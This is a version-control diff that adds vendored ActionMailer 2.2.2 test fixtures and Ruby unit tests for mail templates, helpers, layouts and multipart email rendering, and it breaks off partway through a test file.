Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_partially_quoted_subject
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_partially_quoted_subject	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/raw_email_with_partially_quoted_subject	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+From jamis at 37signals.com Mon May  2 16:07:05 2005
+Mime-Version: 1.0 (Apple Message framework v622)
+Content-Transfer-Encoding: base64
+Message-Id: <d3b8cf8e49f04480850c28713a1f473e at 37signals.com>
+Content-Type: text/plain;
+  charset=EUC-KR;
+  format=flowed
+To: jamis at 37signals.com
+From: Jamis Buck <jamis at 37signals.com>
+Subject: Re: Test: =?UTF-8?B?Iua8ouWtlyI=?= mid =?UTF-8?B?Iua8ouWtlyI=?= tail
+Date: Mon, 2 May 2005 16:07:05 -0600
+
+tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
+wLogSmFtaXPA1LTPtNku

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/second_mailer/share.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/second_mailer/share.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/second_mailer/share.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+second mail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/templates/signed_up.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/templates/signed_up.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/templates/signed_up.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+Hello there, 
+
+Mr. <%= @recipient %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/_subtemplate.text.plain.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/_subtemplate.text.plain.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/_subtemplate.text.plain.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+let's go!
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/body_ivar.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/body_ivar.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/body_ivar.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+body: <%= @body %>
+bar: <%= @bar %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.html.haml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.html.haml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.html.haml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+%p Hello there, 
+
+%p 
+  Mr.
+  = @recipient
+  from haml
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/custom_templating_extension.text.plain.haml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+%p Hello there, 
+
+%p 
+  Mr.
+  = @recipient
+  from haml
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.ignored.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Ignored when searching for implicitly multipart parts.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+<html>
+  <body>
+    HTML formatted message to <strong><%= @recipient %></strong>.
+  </body>
+</html>
+<html>
+  <body>
+    HTML formatted message to <strong><%= @recipient %></strong>.
+  </body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.plain.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+Plain text to <%= @recipient %>.
+Plain text to <%= @recipient %>.

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/implicitly_multipart_example.text.yaml.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+yaml to: <%= @recipient %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/included_subtemplate.text.plain.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/included_subtemplate.text.plain.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/included_subtemplate.text.plain.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+Hey Ho, <%= render :partial => "subtemplate" %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.builder
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.builder	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.builder	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+xml.instruct!
+xml.test
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.rxml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.rxml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/rxml_template.rxml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+xml.instruct!
+xml.test
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up.html.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up.html.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up.html.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+Hello there, 
+
+Mr. <%= @recipient %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up_with_url.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up_with_url.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/fixtures/test_mailer/signed_up_with_url.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+Hello there, 
+
+Mr. <%= @recipient %>. Please see our greeting at <%= @welcome_url %> <%= welcome_url %>
+
+<%= image_tag "somelogo.png" %>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,95 @@
+require 'abstract_unit'
+
+module MailerHelper
+  def person_name
+    "Mr. Joe Person"
+  end
+end
+
+class HelperMailer < ActionMailer::Base
+  helper MailerHelper
+  helper :example
+
+  def use_helper(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+  end
+
+  def use_example_helper(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+    self.body = { :text => "emphasize me!" }
+  end
+
+  def use_mail_helper(recipient)
+    recipients recipient
+    subject    "using mailing helpers"
+    from       "tester at example.com"
+    self.body = { :text => 
+      "But soft! What light through yonder window breaks? It is the east, " +
+      "and Juliet is the sun. Arise, fair sun, and kill the envious moon, " +
+      "which is sick and pale with grief that thou, her maid, art far more " +
+      "fair than she. Be not her maid, for she is envious! Her vestal " +
+      "livery is but sick and green, and none but fools do wear it. Cast " +
+      "it off!"
+    }
+  end
+
+  def use_helper_method(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+    self.body = { :text => "emphasize me!" }
+  end
+
+  private
+
+    def name_of_the_mailer_class
+      self.class.name
+    end
+    helper_method :name_of_the_mailer_class
+end
+
+class MailerHelperTest < Test::Unit::TestCase
+  def new_mail( charset="utf-8" )
+    mail = TMail::Mail.new
+    mail.set_content_type "text", "plain", { "charset" => charset } if charset
+    mail
+  end
+
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test at localhost'
+  end
+  
+  def teardown
+    restore_delivery_method
+  end
+  
+  def test_use_helper
+    mail = HelperMailer.create_use_helper(@recipient)
+    assert_match %r{Mr. Joe Person}, mail.encoded
+  end
+
+  def test_use_example_helper
+    mail = HelperMailer.create_use_example_helper(@recipient)
+    assert_match %r{<em><strong><small>emphasize me!}, mail.encoded
+  end
+
+  def test_use_helper_method
+    mail = HelperMailer.create_use_helper_method(@recipient)
+    assert_match %r{HelperMailer}, mail.encoded
+  end
+
+  def test_use_mail_helper
+    mail = HelperMailer.create_use_mail_helper(@recipient)
+    assert_match %r{  But soft!}, mail.encoded
+    assert_match %r{east, and\n  Juliet}, mail.encoded
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_layout_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_layout_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_layout_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,78 @@
+require 'abstract_unit'
+
+class AutoLayoutMailer < ActionMailer::Base
+  def hello(recipient)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester at example.com"
+  end
+
+  def spam(recipient)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester at example.com"
+    body       render(:inline => "Hello, <%= @world %>", :layout => 'spam', :body => { :world => "Earth" })
+  end
+
+  def nolayout(recipient)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester at example.com"
+    body       render(:inline => "Hello, <%= @world %>", :layout => false, :body => { :world => "Earth" })
+  end
+end
+
+class ExplicitLayoutMailer < ActionMailer::Base
+  layout 'spam', :except => [:logout]
+
+  def signup(recipient)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester at example.com"
+  end
+
+  def logout(recipient)
+    recipients recipient
+    subject    "You have a mail"
+    from       "tester at example.com"
+  end
+end
+
+class LayoutMailerTest < Test::Unit::TestCase
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test at localhost'
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_should_pickup_default_layout
+    mail = AutoLayoutMailer.create_hello(@recipient)
+    assert_equal "Hello from layout Inside", mail.body.strip
+  end
+
+  def test_should_pickup_layout_given_to_render
+    mail = AutoLayoutMailer.create_spam(@recipient)
+    assert_equal "Spammer layout Hello, Earth", mail.body.strip
+  end
+
+  def test_should_respect_layout_false
+    mail = AutoLayoutMailer.create_nolayout(@recipient)
+    assert_equal "Hello, Earth", mail.body.strip
+  end
+
+  def test_explicit_class_layout
+    mail = ExplicitLayoutMailer.create_signup(@recipient)
+    assert_equal "Spammer layout We do not spam", mail.body.strip
+  end
+
+  def test_explicit_layout_exceptions
+    mail = ExplicitLayoutMailer.create_logout(@recipient)
+    assert_equal "You logged out", mail.body.strip
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_render_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_render_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_render_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,116 @@
+require 'abstract_unit'
+
+class RenderMailer < ActionMailer::Base
+  def inline_template(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+    body       render(:inline => "Hello, <%= @world %>", :body => { :world => "Earth" })
+  end
+
+  def file_template(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+    body       render(:file => "signed_up", :body => { :recipient => recipient })
+  end
+
+  def rxml_template(recipient)
+    recipients recipient
+    subject    "rendering rxml template"
+    from       "tester at example.com"
+  end
+
+  def included_subtemplate(recipient)
+    recipients recipient
+    subject    "Including another template in the one being rendered"
+    from       "tester at example.com"
+  end
+
+  def included_old_subtemplate(recipient)
+    recipients recipient
+    subject    "Including another template in the one being rendered"
+    from       "tester at example.com"
+    body       render(:inline => "Hello, <%= render \"subtemplate\" %>", :body => { :world => "Earth" })
+  end
+
+  def initialize_defaults(method_name)
+    super
+    mailer_name "test_mailer"
+  end
+end
+
+class FirstMailer < ActionMailer::Base
+  def share(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+  end
+end
+
+class SecondMailer < ActionMailer::Base
+  def share(recipient)
+    recipients recipient
+    subject    "using helpers"
+    from       "tester at example.com"
+  end
+end
+
+class RenderHelperTest < Test::Unit::TestCase
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test at localhost'
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_inline_template
+    mail = RenderMailer.create_inline_template(@recipient)
+    assert_equal "Hello, Earth", mail.body.strip
+  end
+
+  def test_file_template
+    mail = RenderMailer.create_file_template(@recipient)
+    assert_equal "Hello there, \n\nMr. test at localhost", mail.body.strip
+  end
+
+  def test_rxml_template
+    mail = RenderMailer.deliver_rxml_template(@recipient)
+    assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<test/>", mail.body.strip
+  end
+
+  def test_included_subtemplate
+    mail = RenderMailer.deliver_included_subtemplate(@recipient)
+    assert_equal "Hey Ho, let's go!", mail.body.strip
+  end
+end
+
+class FirstSecondHelperTest < Test::Unit::TestCase
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+
+    @recipient = 'test at localhost'
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_ordering
+    mail = FirstMailer.create_share(@recipient)
+    assert_equal "first mail", mail.body.strip
+    mail = SecondMailer.create_share(@recipient)
+    assert_equal "second mail", mail.body.strip
+    mail = FirstMailer.create_share(@recipient)
+    assert_equal "first mail", mail.body.strip
+    mail = SecondMailer.create_share(@recipient)
+    assert_equal "second mail", mail.body.strip
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_service_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_service_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/mail_service_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1060 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class FunkyPathMailer < ActionMailer::Base
+  self.template_root = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
+
+  def multipart_with_template_path_with_dots(recipient)
+    recipients recipient
+    subject    "Have a lovely picture"
+    from       "Chad Fowler <chad at chadfowler.com>"
+    attachment :content_type => "image/jpeg",
+      :body => "not really a jpeg, we're only testing, after all"
+  end
+end
+
+class TestMailer < ActionMailer::Base
+  def signed_up(recipient)
+    @recipients   = recipient
+    @subject      = "[Signed up] Welcome #{recipient}"
+    @from         = "system at loudthinking.com"
+    @sent_on      = Time.local(2004, 12, 12)
+    @body["recipient"] = recipient
+  end
+
+  def cancelled_account(recipient)
+    self.recipients = recipient
+    self.subject    = "[Cancelled] Goodbye #{recipient}"
+    self.from       = "system at loudthinking.com"
+    self.sent_on    = Time.local(2004, 12, 12)
+    self.body       = "Goodbye, Mr. #{recipient}"
+  end
+
+  def cc_bcc(recipient)
+    recipients recipient
+    subject    "testing bcc/cc"
+    from       "system at loudthinking.com"
+    sent_on    Time.local(2004, 12, 12)
+    cc         "nobody at loudthinking.com"
+    bcc        "root at loudthinking.com"
+    body       "Nothing to see here."
+  end
+
+  def different_reply_to(recipient)
+    recipients recipient
+    subject    "testing reply_to"
+    from       "system at loudthinking.com"
+    sent_on    Time.local(2008, 5, 23)
+    reply_to   "atraver at gmail.com"
+    body       "Nothing to see here."
+  end
+
+  def iso_charset(recipient)
+    @recipients = recipient
+    @subject    = "testing isø charsets"
+    @from       = "system at loudthinking.com"
+    @sent_on    = Time.local 2004, 12, 12
+    @cc         = "nobody at loudthinking.com"
+    @bcc        = "root at loudthinking.com"
+    @body       = "Nothing to see here."
+    @charset    = "iso-8859-1"
+  end
+
+  def unencoded_subject(recipient)
+    @recipients = recipient
+    @subject    = "testing unencoded subject"
+    @from       = "system at loudthinking.com"
+    @sent_on    = Time.local 2004, 12, 12
+    @cc         = "nobody at loudthinking.com"
+    @bcc        = "root at loudthinking.com"
+    @body       = "Nothing to see here."
+  end
+
+  def extended_headers(recipient)
+    @recipients = recipient
+    @subject    = "testing extended headers"
+    @from       = "Grytøyr <stian1 at example.net>"
+    @sent_on    = Time.local 2004, 12, 12
+    @cc         = "Grytøyr <stian2 at example.net>"
+    @bcc        = "Grytøyr <stian3 at example.net>"
+    @body       = "Nothing to see here."
+    @charset    = "iso-8859-1"
+  end
+
+  def utf8_body(recipient)
+    @recipients = recipient
+    @subject    = "testing utf-8 body"
+    @from       = "Foo áëô îü <extended at example.net>"
+    @sent_on    = Time.local 2004, 12, 12
+    @cc         = "Foo áëô îü <extended at example.net>"
+    @bcc        = "Foo áëô îü <extended at example.net>"
+    @body       = "åœö blah"
+    @charset    = "utf-8"
+  end
+
+  def multipart_with_mime_version(recipient)
+    recipients   recipient
+    subject      "multipart with mime_version"
+    from         "test at example.com"
+    sent_on      Time.local(2004, 12, 12)
+    mime_version "1.1"
+    content_type "multipart/alternative"
+
+    part "text/plain" do |p|
+      p.body = "blah"
+    end
+
+    part "text/html" do |p|
+      p.body = "<b>blah</b>"
+    end
+  end
+
+  def multipart_with_utf8_subject(recipient)
+    recipients   recipient
+    subject      "Foo áëô îü"
+    from         "test at example.com"
+    charset      "utf-8"
+
+    part "text/plain" do |p|
+      p.body = "blah"
+    end
+
+    part "text/html" do |p|
+      p.body = "<b>blah</b>"
+    end
+  end
+
+  def explicitly_multipart_example(recipient, ct=nil)
+    recipients   recipient
+    subject      "multipart example"
+    from         "test at example.com"
+    sent_on      Time.local(2004, 12, 12)
+    body         "plain text default"
+    content_type ct if ct
+
+    part "text/html" do |p|
+      p.charset = "iso-8859-1"
+      p.body = "blah"
+    end
+
+    attachment :content_type => "image/jpeg", :filename => "foo.jpg",
+      :body => "123456789"
+  end
+
+  def implicitly_multipart_example(recipient, cs = nil, order = nil)
+    @recipients = recipient
+    @subject    = "multipart example"
+    @from       = "test at example.com"
+    @sent_on    = Time.local 2004, 12, 12
+    @body       = { "recipient" => recipient }
+    @charset    = cs if cs
+    @implicit_parts_order = order if order
+  end
+
+  def implicitly_multipart_with_utf8
+    recipients "no.one at nowhere.test"
+    subject    "Foo áëô îü"
+    from       "some.one at somewhere.test"
+    template   "implicitly_multipart_example"
+    body       ({ "recipient" => "no.one at nowhere.test" })
+  end
+
+  def html_mail(recipient)
+    recipients   recipient
+    subject      "html mail"
+    from         "test at example.com"
+    body         "<em>Emphasize</em> <strong>this</strong>"
+    content_type "text/html"
+  end
+
+  def html_mail_with_underscores(recipient)
+    subject      "html mail with underscores"
+    body         %{<a href="http://google.com" target="_blank">_Google</a>}
+  end
+
+  def custom_template(recipient)
+    recipients recipient
+    subject    "[Signed up] Welcome #{recipient}"
+    from       "system at loudthinking.com"
+    sent_on    Time.local(2004, 12, 12)
+    template   "signed_up"
+
+    body["recipient"] = recipient
+  end
+
+  def custom_templating_extension(recipient)
+    recipients recipient
+    subject    "[Signed up] Welcome #{recipient}"
+    from       "system at loudthinking.com"
+    sent_on    Time.local(2004, 12, 12)
+
+    body["recipient"] = recipient
+  end
+
+  def various_newlines(recipient)
+    recipients   recipient
+    subject      "various newlines"
+    from         "test at example.com"
+    body         "line #1\nline #2\rline #3\r\nline #4\r\r" +
+                 "line #5\n\nline#6\r\n\r\nline #7"
+  end
+
+  def various_newlines_multipart(recipient)
+    recipients   recipient
+    subject      "various newlines multipart"
+    from         "test at example.com"
+    content_type "multipart/alternative"
+    part :content_type => "text/plain", :body => "line #1\nline #2\rline #3\r\nline #4\r\r"
+    part :content_type => "text/html", :body => "<p>line #1</p>\n<p>line #2</p>\r<p>line #3</p>\r\n<p>line #4</p>\r\r"
+  end
+
+  def nested_multipart(recipient)
+    recipients   recipient
+    subject      "nested multipart"
+    from         "test at example.com"
+    content_type "multipart/mixed"
+    part :content_type => "multipart/alternative", :content_disposition => "inline", :headers => { "foo" => "bar" } do |p|
+      p.part :content_type => "text/plain", :body => "test text\nline #2"
+      p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>\nline #2"
+    end
+    attachment :content_type => "application/octet-stream",:filename => "test.txt", :body => "test abcdefghijklmnopqstuvwxyz"
+  end
+
+  def nested_multipart_with_body(recipient)
+    recipients   recipient
+    subject      "nested multipart with body"
+    from         "test at example.com"
+    content_type "multipart/mixed"
+    part :content_type => "multipart/alternative", :content_disposition => "inline", :body => "Nothing to see here." do |p|
+      p.part :content_type => "text/html", :body => "<b>test</b> HTML<br/>"
+    end
+  end
+
+  def attachment_with_custom_header(recipient)
+    recipients   recipient
+    subject      "custom header in attachment"
+    from         "test at example.com"
+    content_type "multipart/related"
+    part :content_type => "text/html", :body => 'yo'
+    attachment :content_type => "image/jpeg",:filename => "test.jpeg", :body => "i am not a real picture", :headers => { 'Content-ID' => '<test at test.com>' }
+  end
+
+  def unnamed_attachment(recipient)
+    recipients   recipient
+    subject      "nested multipart"
+    from         "test at example.com"
+    content_type "multipart/mixed"
+    part :content_type => "text/plain", :body => "hullo"
+    attachment :content_type => "application/octet-stream", :body => "test abcdefghijklmnopqstuvwxyz"
+  end
+
+  def headers_with_nonalpha_chars(recipient)
+    recipients   recipient
+    subject      "nonalpha chars"
+    from         "One: Two <test at example.com>"
+    cc           "Three: Four <test at example.com>"
+    bcc          "Five: Six <test at example.com>"
+    body         "testing"
+  end
+
+  def custom_content_type_attributes
+    recipients   "no.one at nowhere.test"
+    subject      "custom content types"
+    from         "some.one at somewhere.test"
+    content_type "text/plain; format=flowed"
+    body         "testing"
+  end
+
+  def return_path
+    recipients   "no.one at nowhere.test"
+    subject      "return path test"
+    from         "some.one at somewhere.test"
+    body         "testing"
+    headers      "return-path" => "another at somewhere.test"
+  end
+
+  def body_ivar(recipient)
+    recipients   recipient
+    subject      "Body as a local variable"
+    from         "test at example.com"
+    body         :body => "foo", :bar => "baz"
+  end
+
+  class <<self
+    attr_accessor :received_body
+  end
+
+  def receive(mail)
+    self.class.received_body = mail.body
+  end
+end
+
+uses_mocha 'ActionMailerTest' do
+
+class ActionMailerTest < Test::Unit::TestCase
+  include ActionMailer::Quoting
+
+  def encode( text, charset="utf-8" )
+    quoted_printable( text, charset )
+  end
+
+  def new_mail( charset="utf-8" )
+    mail = TMail::Mail.new
+    mail.mime_version = "1.0"
+    if charset
+      mail.set_content_type "text", "plain", { "charset" => charset }
+    end
+    mail
+  end
+
+  # Replacing logger work around for mocha bug. Should be fixed in mocha 0.3.3
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.raise_delivery_errors = true
+    ActionMailer::Base.deliveries = []
+
+    @original_logger = TestMailer.logger
+    @recipient = 'test at localhost'
+  end
+
+  def teardown
+    TestMailer.logger = @original_logger
+    restore_delivery_method
+  end
+
+  def test_nested_parts
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_nested_multipart(@recipient)}
+    assert_equal 2,created.parts.size
+    assert_equal 2,created.parts.first.parts.size
+
+    assert_equal "multipart/mixed", created.content_type
+    assert_equal "multipart/alternative", created.parts.first.content_type
+    assert_equal "bar", created.parts.first.header['foo'].to_s
+    assert_equal "text/plain", created.parts.first.parts.first.content_type
+    assert_equal "text/html", created.parts.first.parts[1].content_type
+    assert_equal "application/octet-stream", created.parts[1].content_type
+  end
+
+  def test_nested_parts_with_body
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_nested_multipart_with_body(@recipient)}
+    assert_equal 1,created.parts.size
+    assert_equal 2,created.parts.first.parts.size
+
+    assert_equal "multipart/mixed", created.content_type
+    assert_equal "multipart/alternative", created.parts.first.content_type
+    assert_equal "Nothing to see here.", created.parts.first.parts.first.body
+    assert_equal "text/plain", created.parts.first.parts.first.content_type
+    assert_equal "text/html", created.parts.first.parts[1].content_type
+  end
+
+  def test_attachment_with_custom_header
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_attachment_with_custom_header(@recipient)}
+    assert_equal "<test at test.com>", created.parts[1].header['content-id'].to_s
+  end
+
+  def test_signed_up
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Signed up] Welcome #{@recipient}"
+    expected.body    = "Hello there, \n\nMr. #{@recipient}"
+    expected.from    = "system at loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_signed_up(@recipient) }
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised { TestMailer.deliver_signed_up(@recipient) }
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_custom_template
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Signed up] Welcome #{@recipient}"
+    expected.body    = "Hello there, \n\nMr. #{@recipient}"
